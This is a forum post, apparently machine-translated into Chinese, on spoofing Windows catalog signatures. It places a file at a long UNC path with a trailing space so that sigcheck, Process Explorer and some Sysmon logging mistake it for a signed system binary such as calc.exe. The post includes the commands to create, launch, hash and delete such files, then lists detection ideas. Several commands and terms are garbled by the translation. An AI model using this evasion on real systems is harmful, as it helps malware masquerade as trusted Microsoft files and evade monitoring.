跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

目录签名伪造——长UNC文件名作弊


HACK7YD

推荐的帖子

0x00 前言

前面两篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》和《Authenticode签名伪造——针对文件类型的签名伪造》介绍了Authenticode签名伪造的方法。这次介绍一种目录签名伪造的方法,利用长UNC文件名欺骗系统,获取系统内置的目录签名。

注:

本文介绍的技巧参考了Matt Graeber@mattifestation发布的资料。本文将结合自身经历,梳理相关内容,补充个人理解。

参考资料:

http://www . exploit-Monday . com/2013/02/windows file confusion . html?m=1

0x01 简介

本文将介绍以下内容:

长UNC基础

长UNC文件名欺骗方法

龙分析利弊龙UNC文件名欺骗

0x02 Long UNC介绍

UNC(Universal Naming Convention)

通用命名规则,可用于指示文件在Windows系统中的位置。

详情请参考以下链接:

https://en . Wikipedia . org/wiki/Path _(计算)

Long UNC

UNC通常支持的最大长度是260个字符

为了支持更长的字符,引入了长UNC,最大长度为32767。

例如:\ \?\C:\test\a.exe

键入putty.exe ' \ \?\C:\test\longUNC.exe '

如下图,使用长UNC的文件和普通文件没有区别。

2-1.png

特别用法:

如果在长UNC文件名后添加一个空格,系统会在判断文件名时出错。

键入putty.exe ' \ \?\C:\test\mimikatz.exe '

如下图

2-2.png

将putty.exe重命名为' \ \?\C:\test\mimikatz.exe ',右键查看' \ \?\C:\test\mimikatz.exe '文件属性

发现一个奇怪的地方:属性显示该文件为样本文件mimikatz.exe的属性

直观理解:特殊的长UNC文件可以欺骗系统,将其识别为另一个文件。

0x03 Long UNC文件名欺骗的方法

从上一节的测试中,我们知道可以使用长UNC来复制文件属性。

那么如果复制系统文件甚至是带有catalog签名的文件,是否可以伪造catalog的签名呢?

测试1: 伪造calc.exe的catalog签名

测试系统:Win7 x86

使用sigcheck.exe查看calc.exe的目录签名:

sigcheck.exe-I c:\ windows \ system32 \ calc . exe

如下图

3-1.png

长UNC文件伪造:

键入putty.exe ' \ \?\C:\Windows\System32\calc.exe '

注:

输出到c:\windows\system32\需要管理员权限。

特殊文件名必须放在目标的同级目录下,即C:\Windows\System32,否则启动会失败。

如下图所示,验证结论显示特殊长UNC可以复制文件属性。

3-2.png

之前的文章《Hidden Alternative Data Streams的进阶利用技巧》介绍了特殊文件名可以用短文件名代替。

获取短文件名:

方向/x计算*。可执行程序的扩展名

如下图

3-3.png

'\\?\ C:\ Windows \ System32 \ CALC1。' EXE '可以替换为短文件名calc ~ 1.exe。

使用sigcheck.exe查看该文件的目录签名:

sigcheck.exe-我' \\?\C:\Windows\System32\calc.exe '

或者

sigcheck.exe-I C:\ Windows \ System32 \ CALC1。可执行程序的扩展名

如下图

3-4.png

成功伪造目录签名

测试2: 执行特殊Long UNC文件

1.无法双击执行。

2、通过命令行

'\\?\C:\Windows\System32\calc.exe '

提示系统找不到指定路径。

c:\ Windows \ System32 \ CALC1。可执行程序的扩展名

开始正常calc.exe。

3.穿过WMIC

wmic进程调用create C:\ Windows \ System32 \ CALC1 . exe

4.通过vbs

set objShell=CreateObject(' Wscript。外壳’)

objShell。运行“c:\ windows \ system32 \ calc1 . exe”

5.通过js

var wsh=new ActiveX object(' wscript . shell ');

wsh . run(' c:\ \ windows \ \ system32 \ \ calc ~ 1 . exe ');

启动后,进程名为calc~1.exe

特别的地方:

进程签名由进程资源管理器验证,并被视为默认的calc.exe微软证书。

如下图

3-5.png

注:

截图中的SSH,Telnet,Rlogin client’等文件的描述,可以通过修改程序的资源来伪造。该方法被省略。

得出结论:执行特殊Long UNC文件能够欺骗Process Explorer的进程签名验证

补充:

一些可以欺骗Sysmon的日志监控功能,比如进程创建。

测试3: 无法欺骗的工具

1.使用certutil.exe计算MD5

certutil.exe-哈希文件C:\ Windows \ System32 \ calc . exe MD5

certutil.exe-哈希文件C:\ Windows \ System32 \ calc1 . exe MD5

注:

certutil.exe哈希文件' \\?\ C:\ Windows \ System32 \ calc . exe ' MD5

错误消息系统找不到文件。

如下图

3-6.png

测试4: 多个同名文件夹的生成

键入putty.exe ' \ \?\C:\Windows\System32\calc.exe '

键入putty.exe ' \ \?\C:\Windows\System32\calc.exe '

键入putty.exe ' \ \?\C:\Windows\System32\calc.exe '

如下图

3-7.png

测试5: 特殊Long UNC文件的删除

del '\\?\C:\Windows\System32\calc.exe '

或者

del C:\ Windows \ System32 \ CALC1 . exe

测试6: 其他系统测试

Win7-Win10支持

64位系统需要注意重定向。

0x04 利用分析

利用特殊的长UNC文件名欺骗系统判断文件路径,实现伪造的目录签名。

特点:

欺骗系统检查文件名,将文件伪造成系统文件,伪造目录签名。

防御检测:

1.访问控制

欺骗系统文件,需要有系统文件夹的可写权限。

2.文件识别

同一目录中同名的文件

3.过程名判断

短文件名格式的特殊进程名,如CALC~1。可执行程序的扩展名

4.工具测试

使用certutil.exe mcrc哈希

0x05 小结

介绍了利用特殊长UNC文件名欺骗系统并获取目录签名的技术,分析了利用方法,分享了防御思路。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...